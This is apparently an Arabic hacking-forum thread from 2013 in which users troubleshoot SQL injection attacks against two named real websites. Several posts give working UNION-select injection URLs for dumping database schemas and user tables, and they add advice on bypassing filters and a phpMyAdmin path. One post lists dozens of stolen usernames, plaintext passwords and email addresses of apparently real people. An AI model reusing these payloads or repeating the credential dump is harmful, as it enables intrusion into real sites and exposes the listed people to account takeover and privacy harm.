[مساعده] حقنت مزبوط...بس ماطلع معي الباس واليوزر...شو السبب؟؟؟

freedom_h@ck3r · 01-13-2013, 12:16 PM

إخواني هاد الرابط...

اشتغلت كلشي صح..
بس لما اجي اطلع الباس واليوزر
مايطلع معي شي....
سااااااعدوني...

http://www.hubbardbrook.org/people/view.php?id=109

وهي رابط الاستغلال لعرض اليوزر والباس

http://www.hubbardbrook.org/people/view.php?id=-109+union+select+group_concat(user,0x3a,password), 2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,2 1,22,23,24,25+from+user

ممكن مساعدتكم...طق رااااااسي هههههههههه

freedom_h@ck3r · 01-13-2013, 01:22 PM

هاد موقع تاني...
حقنت تماااااااااااام
وطلع معي اليوزرات والباسات تبعهم...وبدون تشفير كمان...
وطلع معي ادمن واحد ويوزره والباس تبعه...وكمان بدون تشفير...

بس لما عملت log in
باليوزرات والباسات ما فوتني
وحتى بالادمن يوزر نيم والباس تبعه
كمان اعطاني خطأ باليوزر نيم او الباس..
شو السبب!!!!!!؟؟؟

أرجووووووووووووكم ساعدوني...
هي الرابط
http://mcxchakraa.com/buy.php?Id=-2

كود:

http://mcxchakraa.com/buy.php?Id=-2%20union%20select%201,group_concat%28table_name,0x3a,column_name,0x3a,table_schema%29,3,4,5,6,7,8+from+information_schema.columns+where+column_name+like+CHAR%2837,%20112,%2097,%20115,%2037%29--

أرجوووووووووووووكـــــــــــــــــــــــــــــــم

freedom_h@ck3r · 01-13-2013, 02:43 PM

يا جـــماعه ســـاعدوني!!!!

aircrack -ng · 01-13-2013, 05:22 PM

مافيش جدول اسمه user بالقاعده

كود:

http://www.hubbardbrook.org/people/view.php?id=-109+union+select+group_concat%28table_name%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from%20information_schema.tables%20where%20table_schema=0x686272

خالد سعودي · 01-13-2013, 08:36 PM

حقن هذا جميع القواعد طبعا القاعدة هذا لاتعتمد عليه information_schema

*] hbr[*] information_schema[*] mysql[*] phpmyadmin

ركز على mysq فك الهاش ان شاء الله تضبط معك
وقد تحتاج هذا

اhttp://www.hubbardbrook.org/mysql/index.php
اختراق موفق

aircrack -ng · 01-13-2013, 09:25 PM

اقتباس

المشاركة الأصلية كتبت بواسطة خالد سعودي


	حقن هذا جميع القواعد طبعا القاعدة هذا لاتعتمد عليه information_schema ] hbr[] information_schema[] mysql[] phpmyadmin ركز على mysq فك الهاش ان شاء الله تضبط معك وقد تحتاج هذا اhttp://www.hubbardbrook.org/mysql/index.php اختراق موفق

ياخالد انا شايف كل الي بالقاعده والي يهم الجدول مو الروت لانو فكو صعب جدا

خالد سعودي · 01-13-2013, 10:17 PM

الموقع ثاني ركز على القاعدة هذي mcxchakr_mcx7
موفق

صح كلامك انا حاولت افكه ولكن مافك معي تري فكه صعب شوي
فتح ايميلك ابيك ضروري عبد الصمد

freedom_h@ck3r · 01-14-2013, 08:02 PM

مشكورين اخواني ...
بس أخوي خالد..ممكن شوية توضيح بخصوص الموقع الثاني؟؟

"الموقع ثاني ركز على القاعدة هذي mcxchakr_mcx7"

خالد سعودي · 01-14-2013, 09:05 PM

هذا نموذج حرب كل الجداول تري فيه حولي 58 عليه فلاتر حول انك تخطى الفلتر
تابع ياغالي
في قاعدة اسمه mcxchakr_mcx7
اسم الجدوال mcx_user
اسم الاعمدة name,email,pass
طلع عندي 651
ولاتعتمد على اسم admin ممكن الدخول بغير الاسم
اختراق موفق
ملاحظة تري في عمدة مهم

freedom_h@ck3r · 01-15-2013, 11:40 AM

اقتباس

المشاركة الأصلية كتبت بواسطة خالد سعودي


	هذا نموذج حرب كل الجداول تري فيه حولي 58 عليه فلاتر حول انك تخطى الفلتر تابع ياغالي في قاعدة اسمه mcxchakr_mcx7 اسم الجدوال mcx_user اسم الاعمدة name,email,pass طلع عندي 651 ولاتعتمد على اسم admin ممكن الدخول بغير الاسم اختراق موفق ملاحظة تري في عمدة مهم

تمام...سبق واستخرجت اسماء المستخدمين والباس
من الجدول
mcx_user

كود:

mahesh dani:111111:dani@yahoo.in
hema:1:hema@test.com
hma:1:hma@test.com
ter:123456:jallsmedia@gmail
com
Ashish Sanghvi:123456:asashishsanghvi@gmail.com
ramesh:seeli123:ramesh.bns@gmail.com
Mohd Imran khan:9305502320:imranaaico@gmail.com
bhuvana:sireesh:bhuvanaellinki@yahoo.com,narendra gupta:narendra:gnarendra09@gmail.com
shrikanth:akshata:shrikanth_unakalkar@yahoo.com,bharathbhushan:123456:bbhushank@gmail.com,rajesh:12345678:rajeshgupta2175@yahoo.com,manoj:12345678:rajeshgupta212002@yahoo.com,Dushyant :albpg5903c:nakshatra.ad@gmail.com,T.jayaprakash:commodity:ramucbe08@gmail.com,ashraf:afreen:ashu_4youcollme@yahoo.co.in,K.MUTHUKUMAR:varthini:fortune_kumar@yahoo.com,ABDUL HASEEB:78612399:haseeba25@yahoo.in,sharad:111175:msharad97@yahoo.in,mansi sethi:mansi1:mansisethi10@gmail.com,ANURAG:12341234:AZAZA1033@YAHOO.COM,SHYAM PATIDAR:SHYAMRANU:PATIDAR.SHYAM00@GMAIL.COM,manjunath totar:manju143:manjutotar143@gmail.com,ramesh:nikeeta:rcbugalia_2002@yahoo.com,manoj:08311993:ashugarg4u8@gmail.com,naresh:nkdc1956:ngro

ولكن ولا واحد فيهم صحيح...
كل ما اعمل لوغ ان يكون غلط!!!!!

freedom_h@ck3r · 01-15-2013, 11:48 AM

حتى باستخدام الهافيج
تم استخراج نفس الجداول والنتائج...
وجميعها كانت خاطئة عندما جربتها للدخول...
فما هو السبب.....؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟